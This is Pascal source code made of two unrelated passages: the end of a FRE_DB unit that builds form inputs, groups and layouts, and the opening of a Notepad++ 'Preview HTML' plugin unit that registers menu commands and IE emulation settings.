(inputField as TFRE_DB_INPUT_NUMBER_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,GetHidden,GetDefault,0);
if FieldSchemeDefinition.hasMin then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMin(FieldSchemeDefinition.GetMinValue);
end else begin
if (obj.FieldSchemeDefinition.FieldType=fdbft_UInt16) or (obj.FieldSchemeDefinition.FieldType=fdbft_UInt32) or (obj.FieldSchemeDefinition.FieldType=fdbft_UInt64) then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMin(0);
end;
end;
if FieldSchemeDefinition.hasMax then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMax(FieldSchemeDefinition.GetMaxValue);
end;
end;
fdbft_Currency :
with obj do begin
if Assigned(group) then begin
inputField:=group.AddNumber;
end else begin
inputField:=block.AddNumber(blockSize);
end;
(inputField as TFRE_DB_INPUT_NUMBER_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,Gethidden,GetDefault,2);
if FieldSchemeDefinition.hasMin then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMin(FieldSchemeDefinition.GetMinValue);
end;
if FieldSchemeDefinition.hasMax then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMax(FieldSchemeDefinition.GetMaxValue);
end;
end;
fdbft_Real64 :
with obj do begin
if Assigned(group) then begin
inputField:=group.AddNumber;
end else begin
inputField:=block.AddNumber(blockSize);
end;
(inputField as TFRE_DB_INPUT_NUMBER_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,obj.GetDisabled,obj.GetHidden,GetDefault);
if FieldSchemeDefinition.hasMin then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMin(FieldSchemeDefinition.GetMinValue);
end;
if FieldSchemeDefinition.hasMax then begin
(inputField as TFRE_DB_INPUT_NUMBER_DESC).setMax(FieldSchemeDefinition.GetMaxValue);
end;
end;
fdbft_ObjLink,
fdbft_String :
with obj do begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,GetHidden,GetDefault,validator,valParams,FieldSchemeDefinition.MultiValues,FieldSchemeDefinition.isPass);
if FieldSchemeDefinition.AddConfirm then begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe(_getText(FREDB_GetGlobalTextKey('input_confirm_prefix'))+' ' + fldCaption,prefix+GetfieldName + '_confirm',required,GetRequired,
GetDisabled,GetHidden,GetDefault,validator,valParams,FieldSchemeDefinition.MultiValues,FieldSchemeDefinition.isPass,prefix+obj.GetfieldName);
end;
end;
fdbft_Boolean:
with obj do begin
if Assigned(group) then begin
inputField:=group.AddBool;
end else begin
inputField:=block.AddBool(blockSize);
end;
(inputField as TFRE_DB_INPUT_BOOL_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,GetDefault='true');
end;
fdbft_DateTimeUTC:
with obj do begin
if Assigned(group) then begin
inputField:=group.AddDate;
end else begin
inputField:=block.AddDate(blockSize);
end;
(inputField as TFRE_DB_INPUT_DATE_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,GetHidden,GetDefault,validator,valParams);
end;
fdbft_Stream:
with obj do begin
if Assigned(group) then begin
inputField:=group.AddFile;
end else begin
inputField:=block.AddFile(blockSize);
end;
(inputField as TFRE_DB_INPUT_FILE_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,Gethidden,GetDefault,validator,valParams);
end
else { String fallback }
with obj do begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe(fldCaption,prefix+GetfieldName,required,GetRequired,GetDisabled,GetHidden,GetDefault,validator,valParams,FieldSchemeDefinition.multiValues,FieldSchemeDefinition.isPass);
end;
end;
end;
end;
end;
obj.FieldSchemeDefinition.ForAllDepfields(@DepITerator);
end;
begin
GFRE_BT.SeperateString(prefix,'.',path);
required:=groupRequired;
if Length(path)>0 then begin
scheme:=schemeGroup.GetParentScheme;
for i := 0 to Length(path) - 1 do begin
if not scheme.GetSchemeField(path[i],fieldDef) then raise EFRE_DB_Exception.Create(edb_ERROR,'cannot find scheme field: '+path[i]);
required:=required and fieldDef.required;
if not GFRE_DBI.GetSystemSchemeByName(fieldDef.SubschemeName,scheme) then
raise EFRE_DB_Exception.Create(edb_ERROR,'(A) cannot get scheme '+fieldDef.SubschemeName);
end;
end;
inputPrefix := prefix;
if groupPreFix<>'' then begin
inputPrefix:=groupPreFix + '.' + inputPrefix;
end;
for i := 0 to Length(fields) - 1 do begin
if Length(blockSizes)>i then begin
blockSize:=blockSizes[i];
end else begin
blockSize:=TFRE_DB_INPUT_BLOCK_DESC.getDefaultBlockSize;
end;
if fields[i].GetScheme<>'' then begin
if not GFRE_DBI.GetSystemSchemeByName(fields[i].GetScheme,scheme) then
raise EFRE_DB_Exception.Create(edb_ERROR,'(B) cannot get scheme '+fields[i].GetScheme);
newPrefix:=fields[i].GetPrefix;
if newPrefix<>'' then
newPrefix:=newPrefix+'.';
newPrefix:=prefix+newPrefix;
if fields[i].GetType=igd_UsedSubGroup then begin
inputGroup := scheme.GetInputGroup(fields[i].GetGroup);
if Assigned(group) then begin
newGroup:=group.AddGroup;
end else begin
newGroup:=block.AddGroup(blockSize);
end;
newGroup.Describe(_getText(inputGroup.CaptionKey),fields[i].GetCollapsible,fields[i].GetCollapsed);
_addFields(schemeGroup,session,inputGroup.GroupFields,newPrefix,groupPreFix,required,withoutCaptions,newGroup,nil,[]);
end else begin
if fields[i].GetType=igd_UsedGroup then begin
inputGroup:=scheme.GetInputGroup(fields[i].GetGroup);
_addFields(schemeGroup,session,inputGroup.GroupFields,newPrefix,groupPreFix,required,withoutCaptions,group,block,[]);
end else begin
inputGroup := scheme.GetInputGroup(fields[i].GetGroup);
if Assigned(group) then begin
newBlock:=group.AddBlock;
end else begin
newBlock:=block.AddBlock(blockSize);
end;
newBlock.Describe(_getText(inputGroup.CaptionKey),'',fields[i].GetIndentEC);
_addFields(schemeGroup,session,inputGroup.GroupFields,newPrefix,groupPreFix,required,withoutCaptions,nil,newBlock,fields[i].GetBlockElemSizes);
end;
end;
end else begin
_addInput(fields[i],inputPrefix,required,group,block,blockSize);
end;
end;
end;
procedure TFRE_DB_FORM_DESC.AddStore(const store: TFRE_DB_STORE_DESC);
var
i: Integer;
begin
for i := 0 to Field('stores').ValueCount - 1 do begin
if Field('stores').AsObjectItem[i].Field('id').AsString=store.Field('id').AsString then exit;
end;
Field('stores').AddObject(store);
end;
procedure TFRE_DB_FORM_DESC.AddDBO(const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);
var
i : Integer;
idx: String;
begin
idx:=id + '@' + groupPreFix;
for i := 0 to Field('dbos').ValueCount - 1 do begin
if Field('dbos').AsStringArr[i]=idx then exit;
end;
Field('dbos').AddString(idx);
for i := 0 to Field('_dbos').ValueCount - 1 do begin
if Field('_dbos').AsStringArr[i]=id then exit;
end;
Field('_dbos').AddString(id);
session.registerUpdatableDBO(FREDB_H2G(id));
end;
function TFRE_DB_FORM_DESC.GetStore(const id: String): TFRE_DB_STORE_DESC;
var
i: Integer;
begin
Result:=nil;
for i := 0 to Field('stores').ValueCount - 1 do begin
if Field('stores').AsObjectItem[i].Field('id').AsString=id then begin
Result:=Field('stores').AsObjectItem[i].Implementor_HC as TFRE_DB_STORE_DESC;
exit;
end;
end;
end;
function TFRE_DB_FORM_DESC.AddSchemeFormGroup(const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session: IFRE_DB_UserSession; const collapsible: Boolean; const collapsed: Boolean; const groupPreFix: String; const groupRequired: Boolean; const hideGroupHeader: Boolean): TFRE_DB_INPUT_GROUP_DESC;
begin
if hideGroupHeader then begin
Result:=AddGroup.Describe('');
end else begin
Result:=AddGroup.Describe(session.GetDBConnection.FetchTranslateableTextShort(schemeGroup.CaptionKey),collapsible,collapsed);
end;
_addFields(schemeGroup,session,schemeGroup.GroupFields,'',groupPreFix,groupRequired,false,Result,nil,[]);
end;
procedure TFRE_DB_FORM_DESC.SetElementValue(const elementId, value: String);
var
elem: TFRE_DB_CONTENT_DESC;
begin
elem:=GetFormElement(elementId);
elem.Field('defaultValue').AsString:=value;
end;
procedure TFRE_DB_FORM_DESC.SetElementValueDisabled(const elementId, value: String);
var
elem: TFRE_DB_CONTENT_DESC;
begin
elem:=GetFormElement(elementId);
elem.Field('defaultValue').AsString:=value;
elem.Field('disabled').AsBoolean:=true;
end;
procedure TFRE_DB_FORM_DESC.SetElementDisabled(const elementId: String);
var
elem: TFRE_DB_CONTENT_DESC;
begin
elem:=GetFormElement(elementId);
elem.Field('disabled').AsBoolean:=true;
end;
procedure TFRE_DB_FORM_DESC.SetElementRequired(const elementId: String);
var
elem: TFRE_DB_CONTENT_DESC;
begin
elem:=GetFormElement(elementId);
elem.Field('required').AsBoolean:=true;
end;
procedure TFRE_DB_FORM_DESC.SetElementGroupRequired(const elementId: String);
var
elem: TFRE_DB_CONTENT_DESC;
begin
elem:=GetFormElement(elementId);
elem.Field('grouprequired').AsBoolean:=true;
end;
procedure TFRE_DB_FORM_DESC.FillWithObjectValues(const obj: IFRE_DB_Object; const session: IFRE_DB_UserSession; const groupPreFix: String; const isDBO: Boolean);
var
prefix: String;
begin
if isDBO then begin
AddDBO(obj.UID_String, session, groupPreFix);
end;
if groupPreFix<>'' then begin
prefix:=groupPreFix + '.';
end else begin
prefix:='';
end;
_FillWithObjectValues(obj,session,prefix);
end;
function TFRE_DB_FORM_DESC.AddInput: TFRE_DB_INPUT_DESC;
begin
Result := TFRE_DB_INPUT_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddDescription: TFRE_DB_INPUT_DESCRIPTION_DESC;
begin
Result := TFRE_DB_INPUT_DESCRIPTION_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddInputButton: TFRE_DB_INPUT_BUTTON_DESC;
begin
Result := TFRE_DB_INPUT_BUTTON_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddBool: TFRE_DB_INPUT_BOOL_DESC;
begin
Result := TFRE_DB_INPUT_BOOL_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddNumber: TFRE_DB_INPUT_NUMBER_DESC;
begin
Result := TFRE_DB_INPUT_NUMBER_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddChooser: TFRE_DB_INPUT_CHOOSER_DESC;
begin
Result := TFRE_DB_INPUT_CHOOSER_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddDate: TFRE_DB_INPUT_DATE_DESC;
begin
result := TFRE_DB_INPUT_DATE_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddRecurrence: TFRE_DB_INPUT_RECURRENCE_DESC;
begin
result := TFRE_DB_INPUT_RECURRENCE_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddFile: TFRE_DB_INPUT_FILE_DESC;
begin
result := TFRE_DB_INPUT_FILE_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddGroup: TFRE_DB_INPUT_GROUP_DESC;
begin
result := TFRE_DB_INPUT_GROUP_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddGroupProxy: TFRE_DB_INPUT_GROUP_PROXY_DESC;
begin
result := TFRE_DB_INPUT_GROUP_PROXY_DESC.create;
Field('elements').AddObject(Result);
end;
function TFRE_DB_FORM_DESC.AddBlock: TFRE_DB_INPUT_BLOCK_DESC;
begin
result := TFRE_DB_INPUT_BLOCK_DESC.create;
Field('elements').AddObject(Result);
end;
//function TFRE_DB_FORM_DESC.AddList: TFRE_DB_VIEW_LIST_DESC;
//begin
// result := TFRE_DB_VIEW_LIST_DESC.create;
// Field('elements').AddObject(Result);
//end;
function TFRE_DB_FORM_DESC.AddButton: TFRE_DB_BUTTON_DESC;
begin
Result := TFRE_DB_BUTTON_DESC.create;
Field('buttons').AddObject(Result);
end;
//function TFRE_DB_FORM_DESC.GetGroup(const id: String): TFRE_DB_INPUT_GROUP_DESC;
//var
// i: Integer;
//begin
// for i := 0 to Field('elements').ValueCount - 1 do begin
// if Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_GROUP_DESC then begin
// if Field('elements').AsObjectItem[i].Field('id').AsString=id then begin
// Result:=TFRE_DB_INPUT_GROUP_DESC(Field('elements').AsObjectItem[i]);
// exit;
// end;
// end;
// end;
// raise Exception.Create('Group not found in form : ['+id+']');
//end;
{ TFRE_DB_INPUT_GROUP_DESC }
function TFRE_DB_INPUT_GROUP_DESC._Describe(const caption: String; const collapsible, collapsed: Boolean): TFRE_DB_INPUT_GROUP_DESC;
begin
Field('caption').AsString:=caption;
Field('collapsible').AsBoolean:=collapsible;
Field('collapsed').AsBoolean:=collapsed;
Result:=Self;
end;
function TFRE_DB_INPUT_GROUP_DESC.Describe(const caption: String; const collapsible:Boolean=false;const collapsed:Boolean=false): TFRE_DB_INPUT_GROUP_DESC;
begin
Result:=_Describe(caption,collapsible,collapsed);
end;
procedure TFRE_DB_INPUT_GROUP_DESC.SetCaption(const caption: String);
begin
Field('caption').AsString:=caption;
end;
procedure TFRE_DB_INPUT_GROUP_DESC.AddStore(const store: TFRE_DB_STORE_DESC);
var
obj: IFRE_DB_Object;
begin
obj:= Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
(obj.Implementor_HC as TFRE_DB_FORM_DESC).AddStore(store);
end else begin
inherited AddStore(store);
end;
end else begin
raise Exception.Create('Failed to add the store: Root Form not found!');
end;
end;
procedure TFRE_DB_INPUT_GROUP_DESC.AddDBO(const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);
var
obj: IFRE_DB_Object;
begin
obj := Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
(obj.Implementor_HC as TFRE_DB_FORM_DESC).AddDBO(id, session, groupPreFix);
end else begin
inherited AddDBO(id,session,groupPreFix);
end;
end else begin
raise Exception.Create('Failed to add the dbo: Root Form not found!');
end;
end;
function TFRE_DB_INPUT_GROUP_DESC.GetStore(const id: String): TFRE_DB_STORE_DESC;
var
obj: IFRE_DB_Object;
begin
obj := Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
Result:=(obj.Implementor_HC as TFRE_DB_FORM_DESC).GetStore(id);
end else begin
Result:=inherited GetStore(id);
end;
end else begin
raise Exception.Create('Failed to get the store: Root Form not found!');
end;
end;
procedure TFRE_DB_INPUT_GROUP_DESC.SetCollapseState(const collapsed: Boolean; const collapsible: Boolean);
begin
Field('collapsible').AsBoolean:=collapsible;
Field('collapsed').AsBoolean:=collapsed;
end;
{ TFRE_DB_FORM_PANEL_DESC }
function TFRE_DB_FORM_PANEL_DESC.Describe(const caption: String; const sendChangedFieldsOnly: Boolean; const editable: Boolean; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC; const onChangeDelay: Integer; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC; const hideEmptyGroups: Boolean): TFRE_DB_FORM_PANEL_DESC;
begin
inherited Describe(caption,false,sendChangedFieldsOnly,editable,onChangeFunc,onChangeDelay,onDestroyFunc,hideEmptyGroups);
Result:=Self;
end;
procedure TFRE_DB_FORM_PANEL_DESC.SetMenu(const menu: TFRE_DB_MENU_DESC);
begin
Field('menu').AsObject:=menu;
end;
{ TFRE_DB_FORM_DIALOG_DESC }
function TFRE_DB_FORM_DIALOG_DESC.Describe(const caption: String; const width: Integer; const defaultClose: Boolean; const isDraggable: Boolean; const sendChangedFieldsOnly: Boolean; const editable: Boolean; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC; const onChangeDelay: Integer; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC; const hideEmptyGroups: Boolean; const styleClass: String): TFRE_DB_FORM_DIALOG_DESC;
begin
inherited Describe('',defaultClose,sendChangedFieldsOnly,editable,onChangeFunc,onChangeDelay,onDestroyFunc,hideEmptyGroups);
Field('dialogCaption').AsString:=caption;
Field('width').AsInt16:=width;
Field('draggable').AsBoolean:=isDraggable;
Field('styleClass').AsString:=styleClass;
Result:=Self;
end;
{ TFRE_DB_DATA_ELEMENT_DESC }
function TFRE_DB_DATA_ELEMENT_DESC._Describe(const id, caption: TFRE_DB_String; const displayType: TFRE_DB_DISPLAY_TYPE; const sortable: Boolean; const filterable: Boolean; const size: Integer; const display: Boolean; const editable: Boolean; const required: Boolean; const iconId: String; const openIconId: String; const filterValues: TFRE_DB_StringArray; const tooltipId: String): TFRE_DB_DATA_ELEMENT_DESC;
begin
Field('id').AsString:=id;
Field('caption').AsString:=caption;
Field('displayType').AsString:=CFRE_DB_DISPLAY_TYPE[displayType];
Field('display').AsBoolean:=display;
Field('sortable').AsBoolean:=sortable;
Field('filterable').AsBoolean:=filterable;
Field('editable').AsBoolean:=editable;
Field('required').AsBoolean:=required;
Field('size').AsInt16:=size;
if Assigned(filterValues) then begin
Field('filterValues').AsStringArr:=filterValues;
end;
if iconId<>'' then begin
Field('iconId').AsString:=iconId;
end;
if openIconId<>'' then begin
Field('openIconId').AsString:=openIconId;
end;
if tooltipId<>'' then begin
Field('tooltipId').AsString:=tooltipId;
end;
Result:=Self;
end;
function TFRE_DB_DATA_ELEMENT_DESC.Describe(const id, caption: TFRE_DB_String; const displayType: TFRE_DB_DISPLAY_TYPE; const sortable: Boolean; const filterable: Boolean; const size: Integer; const display: Boolean; const editable: Boolean; const required: Boolean; const iconId: String; const openIconId: String; const filterValues: TFRE_DB_StringArray; const tooltipId: String): TFRE_DB_DATA_ELEMENT_DESC;
begin
if displayType=dt_number_pb then raise EFRE_DB_Exception.Create(edb_ERROR,'Please use DescribePB to configure a progress bar (dt_number_pb).');
_Describe(id,caption,displayType,sortable,filterable,size,display,editable,required,iconId,openIconId,filterValues,tooltipId);
Result:=Self;
end;
function TFRE_DB_DATA_ELEMENT_DESC.DescribePB(const id, caption: TFRE_DB_String; const labelId: string; const maxValue: Single; const sortable: Boolean; const filterable: Boolean; const size: Integer): TFRE_DB_DATA_ELEMENT_DESC;
begin
_Describe(id,caption,dt_number_pb,sortable,filterable,size,true,false,false,'','',nil,'');
Field('labelId').AsString:=labelId;
Field('maxValue').AsReal32:=maxValue;
Result:=Self;
end;
procedure TFRE_DB_DATA_ELEMENT_DESC.setValueStore(const store: TFRE_DB_STORE_DESC);
var
obj: IFRE_DB_Object;
begin
obj := GFRE_DBI.NewObject;
obj.Field('id').AsString:=store.Field('id').AsString;
obj.Field('serverFuncExists').AsBoolean:=store.FieldExists('serverFunc');
Field('store').AsObject:=obj;
(Parent.Implementor_HC as TFRE_DB_VIEW_LIST_LAYOUT_DESC).AddStore(store);
end;
{ TFRE_DB_VIEW_LIST_LAYOUT_DESC }
procedure TFRE_DB_VIEW_LIST_LAYOUT_DESC.AddStore(const store: TFRE_DB_STORE_DESC);
var
i: Integer;
begin
for i := 0 to Field('stores').ValueCount - 1 do begin
if Field('stores').AsObjectItem[i].Field('id').AsString=store.Field('id').AsString then exit;
end;
Field('stores').AddObject(store);
end;
function TFRE_DB_VIEW_LIST_LAYOUT_DESC.Describe(): TFRE_DB_VIEW_LIST_LAYOUT_DESC;
begin
Result:=Self;
end;
function TFRE_DB_VIEW_LIST_LAYOUT_DESC.AddDataElement: TFRE_DB_DATA_ELEMENT_DESC;
begin
Result := TFRE_DB_DATA_ELEMENT_DESC.create;
Field('data').AddObject(Result);
end;
{ TFRE_DB_LAYOUT_DESC }
function TFRE_DB_LAYOUT_DESC.Describe(const useSizedSections:Boolean): TFRE_DB_LAYOUT_DESC;
begin
Field('useSizedSections').AsBoolean:=useSizedSections;
Field('contentSize').AsInt16:=3;
Field('sizeH').AsInt16:=3;
Field('sizeV').AsInt16:=3;
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Result:=Self;
end;
procedure TFRE_DB_LAYOUT_DESC.AddSection(const section: TFRE_DB_CONTENT_DESC; const pos: TFRE_DB_LAYOUT_POS; const resizeable:Boolean; const size: Integer);
var
sec: IFRE_DB_Object;
begin
sec:=GFRE_DBI.NewObject;
sec.Field('sectionDesc').AsObject:=section;
if size=-1 then begin
if pos=lt_center then begin
sec.Field('size').AsInt16:=3;
end else begin
sec.Field('size').AsInt16:=1;
end;
end else begin
sec.Field('size').AsInt16:=size;
end;
case pos of
lt_center: begin
Field('sizeH').AsInt16:=Field('sizeH').AsInt16-Field('contentSize').AsInt16+sec.Field('size').AsInt16;
Field('sizeV').AsInt16:=Field('sizeV').AsInt16-Field('contentSize').AsInt16+sec.Field('size').AsInt16;
end;
lt_right,lt_left: begin
Field('sizeH').AsInt16:=Field('sizeH').AsInt16+sec.Field('size').AsInt16;
end;
lt_top,lt_bottom: begin
Field('sizeV').AsInt16:=Field('sizeV').AsInt16+sec.Field('size').AsInt16;
end;
end;
sec.Field('resizeable').AsBoolean:=resizeable;
Field(CFRE_DB_LAYOUT_POS[pos]).AsObject:=sec;
end;
procedure TFRE_DB_LAYOUT_DESC.AddFormDialog(const dialog: TFRE_DB_FORM_DIALOG_DESC);
begin
Field('formdialog').AsObject:=dialog;
end;
procedure TFRE_DB_LAYOUT_DESC.setContentSize(const size: Integer);
begin
Field('sizeH').AsInt16:=Field('sizeH').AsInt16-Field('contentSize').AsInt16+size;
Field('sizeV').AsInt16:=Field('sizeV').AsInt16-Field('contentSize').AsInt16+size;
Field('contentSize').AsInt16:=size;
end;
function TFRE_DB_LAYOUT_DESC.SetLayout(const leftSection, centerSection: TFRE_DB_CONTENT_DESC; const rightSection: TFRE_DB_CONTENT_DESC; const topSection: TFRE_DB_CONTENT_DESC; const bottomSection: TFRE_DB_CONTENT_DESC; const resizeable: boolean; const left_size: integer; const center_size: integer; const right_size: integer; const top_size: integer; const bottom_size: integer): TFRE_DB_LAYOUT_DESC;
begin
if Assigned(leftSection) then AddSection(leftSection,lt_left,resizeable,left_size);
if Assigned(centerSection) then begin
AddSection(centerSection,lt_center,false,center_size);
end else begin
if center_size<>-1 then begin
setContentSize(center_size);
end;
end;
if Assigned(rightSection) then AddSection(rightSection,lt_right,resizeable,right_size);
if Assigned(topSection) then AddSection(topSection,lt_top,resizeable,top_size);
if Assigned(bottomSection) then AddSection(bottomSection,lt_bottom,resizeable,bottom_size);
Field('useSizedSections').AsBoolean:=true;
result := self;
end;
function TFRE_DB_LAYOUT_DESC.SetAutoSizedLayout(const leftSection, centerSection: TFRE_DB_CONTENT_DESC; const rightSection: TFRE_DB_CONTENT_DESC; const topSection: TFRE_DB_CONTENT_DESC; const bottomSection: TFRE_DB_CONTENT_DESC): TFRE_DB_LAYOUT_DESC;
begin
SetLayout(leftSection,centerSection,rightSection,topSection,bottomSection,false);
Field('useSizedSections').AsBoolean:=false;
Result:=Self;
end;
{ TFRE_DB_EDITOR_DESC }
function TFRE_DB_EDITOR_DESC.Describe(const loadFunc,saveFunc,startEditFunc,stopEditFunc: TFRE_DB_SERVER_FUNC_DESC; const contentType: TFRE_DB_CONTENT_TYPE; const toolbarBottom: Boolean): TFRE_DB_EDITOR_DESC;
begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Field('loadFunc').AsObject:=loadFunc;
if Assigned(saveFunc) then begin
Field('saveFunc').AsObject:=saveFunc;
end;
if Assigned(startEditFunc) then begin
Field('startEditFunc').AsObject:=startEditFunc;
end;
if Assigned(stopEditFunc) then begin
Field('stopEditFunc').AsObject:=stopEditFunc;
end;
Field('contentType').AsString:=CFRE_DB_CONTENT_TYPE[contentType];
Field('tbBottom').AsBoolean:=toolbarBottom;
Result:=Self;
end;
initialization
end.
|
unit U_Npp_PreviewHTML;
////////////////////////////////////////////////////////////////////////////////////////////////////
interface
uses
SysUtils, Windows, IniFiles,
NppPlugin, SciSupport,
F_About, F_PreviewHTML;
type
TNppPluginPreviewHTML = class(TNppPlugin)
private
FSettings: TIniFile;
public
constructor Create;
procedure SetInfo(NppData: TNppData); override;
procedure CommandShowPreview;
procedure CommandSetIEVersion(const BrowserEmulation: Integer);
procedure CommandOpenFile(const Filename: nppString);
procedure CommandShowAbout;
procedure CommandReplaceHelloWorld;
procedure DoNppnToolbarModification; override;
procedure DoNppnFileClosed(const BufferID: Cardinal); override;
procedure DoNppnBufferActivated(const BufferID: Cardinal); override;
procedure DoModified(const hwnd: HWND; const modificationType: Integer); override;
function GetSettings(const Name: string = 'Settings.ini'): TIniFile;
end {TNppPluginPreviewHTML};
procedure _FuncReplaceHelloWorld; cdecl;
procedure _FuncShowPreview; cdecl;
procedure _FuncOpenSettings; cdecl;
procedure _FuncOpenFilters; cdecl;
procedure _FuncShowAbout; cdecl;
procedure _FuncSetIE7; cdecl;
procedure _FuncSetIE8; cdecl;
procedure _FuncSetIE9; cdecl;
procedure _FuncSetIE10; cdecl;
procedure _FuncSetIE11; cdecl;
procedure _FuncSetIE12; cdecl;
procedure _FuncSetIE13; cdecl;
var
Npp: TNppPluginPreviewHTML;
////////////////////////////////////////////////////////////////////////////////////////////////////
implementation
uses
WebBrowser, Registry;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncReplaceHelloWorld; cdecl;
begin
Npp.CommandReplaceHelloWorld;
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncOpenSettings; cdecl;
begin
Npp.CommandOpenFile('Settings.ini');
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncOpenFilters; cdecl;
begin
Npp.CommandOpenFile('Filters.ini');
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncShowAbout; cdecl;
begin
Npp.CommandShowAbout;
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncShowPreview; cdecl;
begin
Npp.CommandShowPreview;
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE7; cdecl;
begin
Npp.CommandSetIEVersion(7000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE8; cdecl;
begin
Npp.CommandSetIEVersion(8000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE9; cdecl;
begin
Npp.CommandSetIEVersion(9000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE10; cdecl;
begin
Npp.CommandSetIEVersion(10000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE11; cdecl;
begin
Npp.CommandSetIEVersion(11000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE12; cdecl;
begin
Npp.CommandSetIEVersion(12000);
end;
{ ------------------------------------------------------------------------------------------------ }
procedure _FuncSetIE13; cdecl;
begin
Npp.CommandSetIEVersion(13000);
end;
{ ================================================================================================ }
{ TNppPluginPreviewHTML }
{ ------------------------------------------------------------------------------------------------ }
constructor TNppPluginPreviewHTML.Create;
begin
inherited;
self.PluginName := '&Preview HTML';
end {TNppPluginPreviewHTML.Create};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.SetInfo(NppData: TNppData);
var
IEVersion: string;
MajorIEVersion, Code, EmulatedVersion: Integer;
sk: TShortcutKey;
begin
inherited;
sk.IsShift := True; sk.IsCtrl := true; sk.IsAlt := False;
sk.Key := 'H'; // Ctrl-Shift-H
self.AddFuncItem('&Preview HTML', _FuncShowPreview, sk);
IEVersion := GetIEVersion;
with GetSettings do begin
IEVersion := ReadString('Emulation', 'Installed IE version', IEVersion);
Free;
end;
Val(IEVersion, MajorIEVersion, Code);
if Code <= 1 then
MajorIEVersion := 0;
EmulatedVersion := GetBrowserEmulation div 1000;
if MajorIEVersion > 7 then begin
self.AddFuncSeparator;
self.AddFuncItem('View as IE&7', _FuncSetIE7, EmulatedVersion = 7);
end;
if MajorIEVersion >= 8 then
self.AddFuncItem('View as IE&8', _FuncSetIE8, EmulatedVersion = 8);
if MajorIEVersion >= 9 then
self.AddFuncItem('View as IE&9', _FuncSetIE9, EmulatedVersion = 9);
if MajorIEVersion >= 10 then
self.AddFuncItem('View as IE1&0', _FuncSetIE10, EmulatedVersion = 10);
if MajorIEVersion >= 11 then
self.AddFuncItem('View as IE1&1', _FuncSetIE11, EmulatedVersion = 11);
if MajorIEVersion >= 12 then
self.AddFuncItem('View as IE1&2', _FuncSetIE12, EmulatedVersion = 12);
if MajorIEVersion >= 13 then
self.AddFuncItem('View as IE1&3', _FuncSetIE13, EmulatedVersion = 13);
self.AddFuncSeparator;
self.AddFuncItem('Edit &settings', _FuncOpenSettings);
self.AddFuncItem('Edit &filter definitions', _FuncOpenFilters);
self.AddFuncSeparator;
self.AddFuncItem('&About', _FuncShowAbout);
end {TNppPluginPreviewHTML.SetInfo};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.CommandOpenFile(const Filename: nppString);
var
FullPath: nppString;
begin
try
FullPath := Npp.ConfigDir + '\PreviewHTML\' + Filename;
if not FileExists(FullPath) and FileExists(ChangeFileExt(FullPath, '.sample' + ExtractFileExt(FullPath))) then
FullPath := ChangeFileExt(FullPath, '.sample' + ExtractFileExt(FullPath));
if not DoOpen(FullPath) then
